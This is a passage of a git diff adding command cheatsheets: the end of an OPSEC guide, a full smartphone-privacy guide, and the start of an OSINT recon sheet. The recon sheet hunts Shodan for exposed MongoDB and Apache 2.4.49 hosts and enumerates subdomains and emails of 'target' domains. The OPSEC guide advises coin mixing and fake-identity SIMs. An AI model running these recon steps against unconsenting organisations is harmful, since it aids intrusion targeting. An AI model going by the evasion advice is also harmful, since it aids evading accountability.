❌ Clicking links in unsolicited emails +# ❌ Connecting to public WiFi without VPN +# ❌ Saving passwords in browser +# ❌ Not encrypting sensitive files +# ❌ Using same email for everything +# ❌ Ignoring software updates +# ❌ Oversharing personal information online +# ❌ Using "forgot password" with real security questions +# ❌ Not having backups + +# ============================================================================ +# OPSEC FOR HIGH-THREAT SCENARIOS +# ============================================================================ + +# Journalist/Activist OPSEC +# - Use Tails OS for sensitive work +# - Air-gapped device for sensitive documents +# - Tor for anonymity +# - Signal for communication +# - Dead drops for physical exchanges +# - Secure source protection protocols +# - Document handling procedures +# - Duress codes/plans + +# Whistleblower OPSEC +# - Never use work devices/networks +# - Use SecureDrop for submissions +# - Use Tor Browser (not VPN) +# - No personal identifiers in communications +# - Remove all metadata from documents +# - Consider timing of submissions (avoid obvious timing) + +# Cryptocurrency OPSEC +# - Hardware wallets for storage +# - Use mixing/tumbling services +# - Separate identities per wallet +# - Use Tor for transactions +# - Never KYC with main identity + +# ============================================================================ +# SECURITY CULTURE +# ============================================================================ + +# Need to know principle +# Only share information with those who need it + +# Verify trust +# Confirm identity through multiple channels + +# Document security +# Encrypt sensitive documents +# Secure file sharing protocols +# Clear device screen when discussing sensitive info + +# Meeting security +# Check for surveillance devices +# Use Faraday bags for phones +# Meet in public places (CCTV is less concerning than recording) +# Assume all electronic communications monitored + +# ============================================================================ +# LEGAL CONSIDERATIONS +# ============================================================================ + +# Know your rights (varies by country) +# Right to remain silent +# Right to refuse device searches (sometimes) +# Right to attorney + +# Border crossings +# Assume devices will be seized/imaged +# Know your rights at borders (limited protections) +# Use burner devices when possible + +# Warrant canaries +# Public statement indicating no government demands +# Removal indicates legal pressure (gag order) + +# ============================================================================ +# INSPECT SECRETS WITHOUT EXPOSING THEM +# ============================================================================ + +# Confirm a secret EXISTS without printing it +grep -q '^API_KEY=' ~/.env && echo present || echo missing + +# Check a secret's length without revealing it (catch truncation/corruption) +awk -F= '/^API_KEY=/{print length($2)}' ~/.env + +# Fingerprint a secret to compare two copies without showing either +sha256sum ~/.env | cut -d' ' -f1 + +# Verify a file's signature without exposing its contents +gpg --verify + +# NOTE: these prove a PROPERTY of a secret (exists / length / matches) — not its value. +# That's good opsec hygiene, NOT cryptographic zero-knowledge (no soundness, no untrusting verifier). + +# ============================================================================ +# RESOURCES +# ============================================================================ + +# OPSEC Reading +# - "The Art of Invisibility" by Kevin Mitnick +# - "Extreme Privacy" by Michael Bazzell +# - Security in a Box: https://securityinabox.org/ +# - EFF Surveillance Self-Defense: https://ssd.eff.org/ + +# OPSEC Communities +# - r/privacy (Reddit) +# - r/opsec (Reddit) +# - Privacy Guides: https://www.privacyguides.org/ + +# Threat intelligence +# - HIBP: https://haveibeenpwned.com/ +# - CVE Database: https://cve.mitre.org/ +# - Security mailing lists + diff --git a/phone-privacy.cheat b/phone-privacy.cheat new file mode 100644 index 0000000..52942d6 --- /dev/null +++ b/phone-privacy.cheat @@ -0,0 +1,604 @@ +% phone, smartphone, mobile-privacy, android, ios, grapheneos + +# ============================================================================ +# SMARTPHONE PRIVACY OVERVIEW +# ============================================================================ + +# Smartphone privacy challenges +# - Constant location tracking (GPS, cell towers, WiFi) +# - App permissions overreach (camera, mic, contacts) +# - OS telemetry (Google, Apple data collection) +# - Advertising tracking (GAID, IDFA) +# - Carrier surveillance (call logs, SMS, location) +# - Baseband processor (proprietary, potential backdoors) + +# Privacy hierarchy (best to worst) +# 1. Dumbphone / No phone (maximum privacy, minimum functionality) +# 2. Privacy phone (Purism Librem 5, PinePhone) +# 3. GrapheneOS (hardened Android on Pixel) +# 4. CalyxOS (privacy Android) +# 5. iPhone (better than stock Android) +# 6. Stock Android (worst) + +# ============================================================================ +# GRAPHENEOS (MOST PRIVATE ANDROID) +# ============================================================================ + +# GrapheneOS features +# - Hardened Android (security patches, privacy improvements) +# - Sandboxed Google Play (optional, no special privileges) +# - Enhanced permissions (network, sensors per-app) +# - No Google services by default +# - Regular security updates (faster than stock) + +# Supported devices +# - Google Pixel 8 Pro (recommended, 7 years updates) +# - Google Pixel 8 +# - Google Pixel 7 Pro +# - Google Pixel 7 +# - Older Pixels (check: grapheneos.org/faq#supported-devices) + +# Install GrapheneOS +# https://grapheneos.org/install/ + +# Web installer (easiest) +# 1. Enable Developer Options (Settings → About → Tap Build 7 times) +# 2. Enable OEM Unlocking (Settings → Developer Options) +# 3. Visit: https://grapheneos.org/install/web +# 4. Follow on-screen instructions +# 5. Connect phone, unlock bootloader, flash + +# Command line install (Linux) +# Download tools +wget https://github.com/GrapheneOS/factory/releases/download/latest/grapheneos-install.zip +unzip grapheneos-install.zip + +# Flash GrapheneOS +./grapheneos-install.sh + +# First boot setup +# Skip Google account +# Disable cloud services +# Set strong passphrase (not PIN) + +# ============================================================================ +# GRAPHENEOS HARDENING +# ============================================================================ + +# Enable sandboxed Google Play (if needed) +# Apps → Apps → System apps → Google Play Services → Install + +# App permissions (granular control) +# Settings → Apps → [App] → Permissions +# Deny: Location, Camera, Microphone (unless required) + +# Network permission (GrapheneOS feature) +# Settings → Apps → [App] → Network +# Block internet for apps that don't need it + +# Sensors permission (GrapheneOS feature) +# Settings → Apps → [App] → Sensors +# Blocks accelerometer, gyroscope, etc. + +# Auditor app (hardware attestation) +# Verifies device integrity +# Install: F-Droid or GrapheneOS app store + +# ============================================================================ +# CALYXOS (PRIVACY ANDROID ALTERNATIVE) +# ============================================================================ + +# CalyxOS features +# - Privacy-focused Android +# - microG (open source Google Services alternative) +# - Datura Firewall (control app network access) +# - Seedvault backup +# - F-Droid included + +# Supported devices +# - Google Pixels (similar to GrapheneOS) +# - Fairphone 4/5 +# - Motorola devices + +# Install CalyxOS +# https://calyxos.org/install/ + +# Web installer +# https://calyxos.org/install/web + +# First boot +# Skip Google account +# Enable F-Droid +# Configure Datura Firewall + +# ============================================================================ +# IOS PRIVACY HARDENING +# ============================================================================ + +# iOS advantages +# - Better than stock Android (less Google tracking) +# - Strong app sandboxing +# - Regular updates (even for older devices) + +# iOS disadvantages +# - Closed source (can't audit) +# - Apple still tracks (less than Google, but not zero) +# - Walled garden (limited customization) + +# iOS privacy settings +# Settings → Privacy & Security + +# Location Services +# Settings → Privacy → Location Services +# Set per-app: Never, Ask Next Time, While Using + +# Disable analytics +# Settings → Privacy → Analytics & Improvements +# Turn OFF: Share iPhone Analytics, Share iCloud Analytics + +# Limit ad tracking +# Settings → Privacy → Tracking +# Turn OFF: Allow Apps to Request to Track + +# App permissions review +# Settings → Privacy → [Permission type] +# Review: Camera, Microphone, Contacts, Photos + +# Hide IP address +# Settings → Safari → Hide IP Address → Trackers and Websites + +# Private Relay (iCloud+ feature) +# Settings → [Name] → iCloud → Private Relay +# Hides IP address from websites (VPN-like) + +# ============================================================================ +# ANDROID PRIVACY HARDENING (STOCK/LINEAGEOS) +# ============================================================================ + +# LineageOS (de-Googled Android) +# https://lineageos.org/ +# Custom ROM without Google services +# Supports 100+ devices + +# Android privacy settings + +# Disable Google tracking +# Settings → Google → Manage your Google Account +# Data & Privacy → Turn OFF: Location History, Web & App Activity + +# App permissions +# Settings → Privacy → Permission manager +# Review all permissions, revoke unnecessary + +# Disable personalized ads +# Settings → Privacy → Ads +# Turn ON: Delete advertising ID + +# Network permission (Android 12+) +# Requires root or custom ROM with firewall + +# AFWall+ (firewall, requires root) +# Block internet per-app +# https://github.com/ukanth/afwall + +# ============================================================================ +# APP ALTERNATIVES (PRIVACY-FOCUSED) +# ============================================================================ + +# App stores +# F-Droid - https://f-droid.org/ (open source apps) +# Aurora Store (Play Store alternative, no Google account) + +# Browser +# Mull (Firefox-based) - F-Droid +# Brave Browser - Play Store / F-Droid +# Tor Browser - https://www.torproject.org/download/#android + +# Messaging +# Signal - https://signal.org/ +# Element (Matrix) - https://element.io/ +# Briar (peer-to-peer) - F-Droid + +# Email +# K-9 Mail - F-Droid +# FairEmail - F-Droid +# ProtonMail app - Play Store / F-Droid + +# Maps / Navigation +# OsmAnd - F-Droid (offline maps) +# Organic Maps - F-Droid +# Magic Earth - Play Store + +# Keyboard +# OpenBoard - F-Droid (no network access) +# AnySoftKeyboard - F-Droid +# FlorisBoard - F-Droid + +# Camera +# Open Camera - F-Droid +# GrapheneOS Camera (Pixels with GrapheneOS) + +# Gallery +# Simple Gallery - F-Droid +# Fossify Gallery - F-Droid + +# Notes +# Standard Notes - https://standardnotes.com/ +# Joplin - F-Droid +# Notesnook - https://notesnook.com/ + +# Password manager +# Bitwarden - https://bitwarden.com/ +# KeePassDX - F-Droid + +# 2FA/TOTP +# Aegis Authenticator - F-Droid +# andOTP (deprecated, use Aegis) + +# ============================================================================ +# LOCATION PRIVACY +# ============================================================================ + +# Location tracking sources +# - GPS (precise location) +# - Cell towers (approximate location) +# - WiFi networks (location database) +# - Bluetooth beacons + +# Disable location completely +# Settings → Location → Turn OFF + +# Disable location scanning (Android) +# Settings → Location → Location Services → Wi-Fi scanning (OFF) +# Settings → Location → Location Services → Bluetooth scanning (OFF) + +# Per-app location permissions +# Allow only when using app (not "Always") + +# Airplane mode (nuclear option) +# Disables: Cell, WiFi, Bluetooth, GPS +# Use when not needing connectivity + +# Remove SIM card +# Prevents cell tower tracking +# Can still use WiFi for data + +# Faraday bag +# Blocks all signals (cell, GPS, WiFi, Bluetooth) +# Test: Call phone while in bag (shouldn't ring) + +# ============================================================================ +# NETWORK PRIVACY +# ============================================================================ + +# VPN on mobile +# See vpn.cheat (to be created) +# Recommended: Mullvad, IVPN, ProtonVPN + +# Orbot (Tor for Android) +# Routes traffic through Tor +# https://guardianproject.info/apps/org.torproject.android/ + +# Install Orbot +# F-Droid → Orbot +# Or: Play Store → Orbot + +# Use Orbot with apps +# Orbot → Start → Select apps to route through Tor + +# DNS encryption +# Android 9+: Settings → Network → Private DNS +# Use: dns.quad9.net or 1dot1dot1dot1.cloudflare-dns.com + +# ============================================================================ +# PERMISSION MANAGEMENT +# ============================================================================ + +# Review all app permissions +# Settings → Apps → [App] → Permissions + +# Dangerous permissions (require approval) +# - Location (GPS, coarse location) +# - Camera +# - Microphone +# - Contacts +# - Call logs +# - SMS +# - Storage (photos, files) + +# Grant permissions sparingly +# Games don't need contacts +# Flashlight doesn't need location +# Wallpaper app doesn't need microphone + +# One-time permissions (Android 11+) +# Grant permission for single use +# App must re-request next time + +# Permission auto-reset (Android 11+) +# Settings → Apps → Unused apps +# Automatically revoke permissions for unused apps + +# ============================================================================ +# CARRIER PRIVACY +# ============================================================================ + +# Carrier tracking +# - Call logs (who you call, when, duration) +# - SMS content (unencrypted) +# - Real-time location (cell tower triangulation) +# - Metadata (even if using Signal) + +# Reduce carrier tracking +# Use VoIP for calls (Signal, Matrix) +# Use encrypted messengers (Signal) instead of SMS +# Use VPN to hide data traffic content + +# Anonymous SIM card +# Prepaid SIM, bought with cash +# Register with fake info (where legal) +# Swap SIM regularly (burner SIMs) + +# Silent Link (privacy-focused carrier, USA) +# https://silent.link/ +# Crypto payments, no KYC + +# ============================================================================ +# SENSOR PRIVACY +# ============================================================================ + +# Sensors on smartphones +# - Accelerometer, gyroscope (motion tracking) +# - Magnetometer (compass) +# - Barometer (altitude) +# - Proximity sensor +# - Ambient light sensor + +# Sensor fingerprinting +# Apps can identify device by sensor data +# No permission required (Android) + +# GrapheneOS sensor permission +# Blocks sensor access per-app +# Settings → Apps → [App] → Sensors → Deny + +# Sensor access on other Android +# Requires custom ROM or root + +# iOS sensor access +# Motion & Fitness permission (Settings → Privacy → Motion & Fitness) + +# ============================================================================ +# CAMERA & MICROPHONE PRIVACY +# ============================================================================ + +# Camera/mic are surveillance risks +# Malware can secretly record + +# Physical camera cover +# Slide cover, tape (low-tech but effective) + +# Indicator light (iOS 14+, Android 12+) +# Orange dot: Microphone active +# Green dot: Camera active + +# Revoke camera/mic permissions +# Settings → Privacy → Camera/Microphone +# Only allow for apps actively using them + +# ============================================================================ +# BIOMETRIC PRIVACY +# ============================================================================ + +# Fingerprint sensor +# Convenient but vulnerable (forced unlock) +# Can be compelled by law enforcement (varies by jurisdiction) + +# Face unlock +# Similar concerns as fingerprint +# 3D facial recognition more secure than 2D + +# Recommendations +# Use biometric + strong PIN/password +# Or: Strong password only (more secure) + +# Disable biometric under duress +# iOS: Press power button 5 times (requires password) +# Android: Varies by device (check settings) + +# ============================================================================ +# ENCRYPTION +# ============================================================================ + +# Enable full device encryption +# Modern phones: Encrypted by default +# Older Android: Settings → Security → Encrypt phone + +# Strong lockscreen password +# Use password (not PIN, not pattern) +# 10+ characters, alphanumeric + +# Encryption at rest +# All data encrypted when phone locked +# Decrypted when unlocked + +# Secure enclave (iOS) / StrongBox (Android) +# Hardware-backed encryption +# Keys never leave secure element + +# ============================================================================ +# SECURE COMMUNICATION +# ============================================================================ + +# Signal (end-to-end encrypted messaging) +# https://signal.org/ +# Encrypted: Messages, calls, video calls + +# Signal hardening +# Settings → Privacy → Screen Lock (ON) +# Settings → Privacy → Screen Security (prevent screenshots) +# Settings → Privacy → Disappearing Messages (default 1 week) + +# Matrix/Element (federated, E2EE) +# https://element.io/ +# Similar to Signal, but federated (no single point of failure) + +# Briar (peer-to-peer, offline) +# https://briarproject.org/ +# No central servers, works over Bluetooth/WiFi + +# ============================================================================ +# CLOUD SYNC PRIVACY +# ============================================================================ + +# Disable cloud backups (or encrypt first) +# Google/Apple can access cloud backups + +# Android backup +# Settings → Google → Backup → Turn OFF +# Or: Use Seedvault (local encrypted backups) + +# iOS backup +# Settings → [Name] → iCloud → iCloud Backup → Turn OFF +# Or: Encrypted local backups via iTunes + +# Photo sync (disable or encrypt) +# Google Photos - Tracks, identifies faces +# iCloud Photos - Apple has access +# Alternative: Encrypted self-hosted (Nextcloud) + +# ============================================================================ +# BURNER PHONE / OPSEC +# ============================================================================ + +# Burner phone use case +# High-risk scenarios, anonymous communication + +# Burner phone requirements +# - Cheap prepaid phone +# - Cash purchase (no name) +# - Prepaid SIM (no KYC) +# - Never linked to real identity + +# Burner phone rules +# - Don't use near home/work +# - Don't connect to known WiFi +# - Don't login to personal accounts +# - Dispose after use (or long-term storage off-site) + +# Virtual burner (app) +# Hushed - https://hushed.com/ +# Burner - https://www.burnerapp.com/ +# Gives temporary phone number +# Calls/SMS forwarded to real phone + +# ============================================================================ +# ANTI-THEFT & REMOTE WIPE +# ============================================================================ + +# Find My Device (Android) +# Settings → Security → Find My Device → Turn ON +# Allows remote locate, lock, wipe + +# Find My (iOS) +# Settings → [Name] → Find My → Find My iPhone → Turn ON + +# Remote wipe +# If phone stolen/seized, wipe remotely +# Android: android.com/find +# iOS: icloud.com/find + +# Auto-wipe on failed attempts +# iOS: Settings → Face ID & Passcode → Erase Data (after 10 failed attempts) +# Android: Requires custom ROM or third-party app + +# ============================================================================ +# MOBILE PRIVACY CHECKLIST +# ============================================================================ + +# Setup +# [ ] Use GrapheneOS (Pixel) or CalyxOS +# [ ] Strong passphrase (not PIN/pattern) +# [ ] Enable encryption (default on modern devices) +# [ ] Disable unnecessary permissions +# [ ] Install F-Droid for open source apps +# [ ] Disable cloud backups (or encrypt) +# [ ] Enable VPN for mobile data + +# Daily use +# [ ] Location OFF when not needed +# [ ] Review app permissions monthly +# [ ] Use Signal for sensitive communication +# [ ] Airplane mode in high-risk situations +# [ ] Cover camera when not in use + +# Advanced +# [ ] Use Orbot (Tor) for sensitive browsing +# [ ] Use encrypted DNS +# [ ] Faraday bag for maximum privacy +# [ ] Burner SIM for anonymous communication + +# ============================================================================ +# PRIVACY PHONES (HARDWARE) +# ============================================================================ + +# Purism Librem 5 +# https://puri.sm/products/librem-5/ +# Linux phone (PureOS) +# Hardware kill switches (camera, mic, WiFi, cell) +# Open hardware design + +# PinePhone +# https://www.pine64.org/pinephone/ +# Linux phone (multiple OS options) +# Privacy-focused, affordable +# Hardware switches + +# Fairphone (with custom ROM) +# https://www.fairphone.com/ +# Ethical smartphone +# Install CalyxOS or /e/OS for privacy + +# ============================================================================ +# DUMBPHONE (MAXIMUM PRIVACY) +# ============================================================================ + +# Dumbphone advantages +# - No apps (no tracking) +# - No GPS (approximate location only) +# - Long battery life +# - Cheap, disposable + +# Dumbphone disadvantages +# - Basic features only (calls, SMS) +# - No encryption (SMS unencrypted) +# - No smartphone apps (Signal, etc.) + +# Recommended dumbphones +# Nokia 8110 4G (KaiOS, somewhat privacy-hostile) +# Light Phone II (minimalist, privacy-focused) +# Sunbeam F1 (anti-smartphone) + +# ============================================================================ +# RESOURCES +# ============================================================================ + +# Privacy guides +# Privacy Guides: https://www.privacyguides.org/android/ +# EFF Mobile Security: https://ssd.eff.org/en/module/keeping-your-data-safe + +# Custom ROMs +# GrapheneOS: https://grapheneos.org/ +# CalyxOS: https://calyxos.org/ +# LineageOS: https://lineageos.org/ + +# Tools +# F-Droid: https://f-droid.org/ +# Orbot: https://guardianproject.info/apps/org.torproject.android/ +# Signal: https://signal.org/ + +# Communities +# r/GrapheneOS (Reddit) +# r/privacy (Reddit) +# XDA Developers forums + diff --git a/recon-advanced.cheat b/recon-advanced.cheat new file mode 100644 index 0000000..f578d70 --- /dev/null +++ b/recon-advanced.cheat @@ -0,0 +1,62 @@ +% recon-advanced, osint + +# Search for breached credentials (Have I Been Pwned) +curl "https://haveibeenpwned.com/api/v3/breachedaccount/" -H "hibp-api-key: " +$ email: echo -e "user@example.com" + +# Search Shodan for specific service +shodan search +$ query: echo -e "apache\nnginx\nIIS\napache 2.4.49" + +# Hunt for exposed databases on Shodan +shodan search "product:MongoDB" + +# Certificate transparency search (find subdomains) +curl -s "https://crt.sh/?q=%25.&output=json" | jq -r '.[].name_value' | sort -u +$ domain: echo -e "example.com\ntarget.com" + +# Hunter.io email discovery +curl "https://api.hunter.io/v2/domain-search?domain=&api_key=" +$ domain: echo -e "example.com\ntarget.com" + +# Check Flare breach data +# Visit: https://flare.io (web-based search) + +# Search PasteBin dumps (NetBootCamp) +# Visit: https://netbootcamp.org/pastesearch.html +# Or Intel Techniques: https://inteltechniques.com/osint/pastebins.html + +# Check BeenVerified for person intel +# Visit: https://beenverified.com (commercial OSINT) + +# URL typosquatting detection with urlcrazy +urlcrazy -o +$ domain: echo -e "google.com\ntarget.com" +$ output_file: echo "Report.txt" + +# LinkedIn company employee enumeration +# Use LinkedIn Sales Navigator or manual search +# Profile format: https://linkedin.com/in/[username] + +% recon-ng, osint + +# Launch recon-ng interactive mode +recon-ng + +# Load workspace in recon-ng +recon-ng -w +$ workspace_name: echo -e "client1\ntarget_recon\nbugbounty" + +# Run specific recon-ng module +recon-ng -m -o